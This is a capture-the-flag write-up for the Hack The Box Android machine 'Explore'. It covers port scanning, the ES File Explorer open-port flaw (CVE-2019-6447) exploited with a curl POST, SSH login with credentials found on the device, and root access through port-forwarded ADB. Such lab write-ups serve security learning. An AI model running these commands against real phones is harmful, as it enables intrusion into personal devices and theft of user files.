Box Info
  • Name: Explore
  • OS: Android
  • Difficulty: Easy
  • IP:
  • Points: 20
  • Machine Creator: bertolis


Explore is a fun Android box that has an Open Port Vulnerability because of a popular file manager application.

This box also has ADB over TCP/IP open over port 5555 which leads to obtaining root privileges.



sudo masscan -p1-65535,U:1-65535 --rate=500 -e tun0

Starting masscan 1.0.5 ( at 2021-07-04 11:16:37 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 59777/tcp on
Discovered open port 42135/tcp on
Discovered open port 2222/tcp on


sudo nmap -sC -sV -oN

# Nmap 7.80 scan initiated Sun Jul  4 11:16:11 2021 as: nmap -sC -sV -oN
Nmap scan report for
Host is up (0.19s latency).
Not shown: 998 closed ports
2222/tcp open     ssh     (protocol 2.0)
| fingerprint-strings:
|   NULL:
|_    SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey:
|_  2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
5555/tcp filtered freeciv
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :

Service detection performed. Please report any incorrect results at .
# Nmap done at Sun Jul  4 11:16:39 2021 -- 1 IP address (1 host up) scanned in 28.09 seconds

Hence open ports are: 59777, 42135, 2222, 5555


We search for android port 59777 and we get Android file manager app exposing user data through open port as 1st result.

This post explains how a vulnerability in ES File Explorer application exposes user data. The application starts an HTTP server every time the app is launched. This service runs on port 59777

The proof-of-concept is also listed on this post:
ES File Explorer Open Port Vulnerability - CVE-2019-6447

We run the from the Github repo on our target.

We can see the /sdcard is the starting directory, i.e. this is the user’s home directory. Here, actually /sdcard is a symlink 1 to /storage/emulated/0 2

After inspecting how the PoC works, we can see that the is POSTing data/payload on port 59777.

Using the PoC to get shell access

We can use the below command in the terminal to fetch and enumerate more stuff than we can via the PoC.

curl --header "Content-Type: application/json" --request POST \
--data '{"command":"listFiles"}' http://explore.htb:59777/sdcard

With the above command, we use listFiles command to list the files in said directory.

We can see here that there is a user.txt file, which we can download by using

python3 --get-file /sdcard/user.txt --ip explore.htb

Thus, we obtain the USER flag!

We search more in /sdcard directory, where we find an image named creds.jpg at location /sdcard/DCIM/creds.jpg which has the username and password mentioned.

username: kristi pass: Kr1sT!5h@█████████!

We know that port 2222 has SSH running on it. So, we can try ssh into the box with:

ssh -p 2222 kristi@explore.htb

And ✨ voila we get shell 🐚

Privilege Escalation

We try to escalate using su to get a root shell, it doesn’t work!

We now scan for open ports 3

ss -tulwn | grep LISTEN

Of these one is 5555 which was reported by nmap already.
It is popularly used for ADB over TCP/IP.

ADB over TCP/IP is a feature added by custom ROM devs in the early days of Android, this later got picked up by Android’s (AOSP’s) codebase

Port Forwarding SSH traffic to access internal port

We now need to access port 5555 from the attacker box. To do that we use SSH port forwarding. For that we use 2 terminal instances:

In one terminal keep the following command running

ssh -p 2222 -L 5555: -N kristi@explore.htb

What we do here is listen on port 5555 on the attacker box and forward that traffic to port 5555 to the target box.

We can now connect over port 5555 and get shell access.

adb connect 5555
adb shell

Obtaining root privileges

For getting root we try running su 4, and ✨ voila!

After searching for a while… we find root.txt flag in /data folder.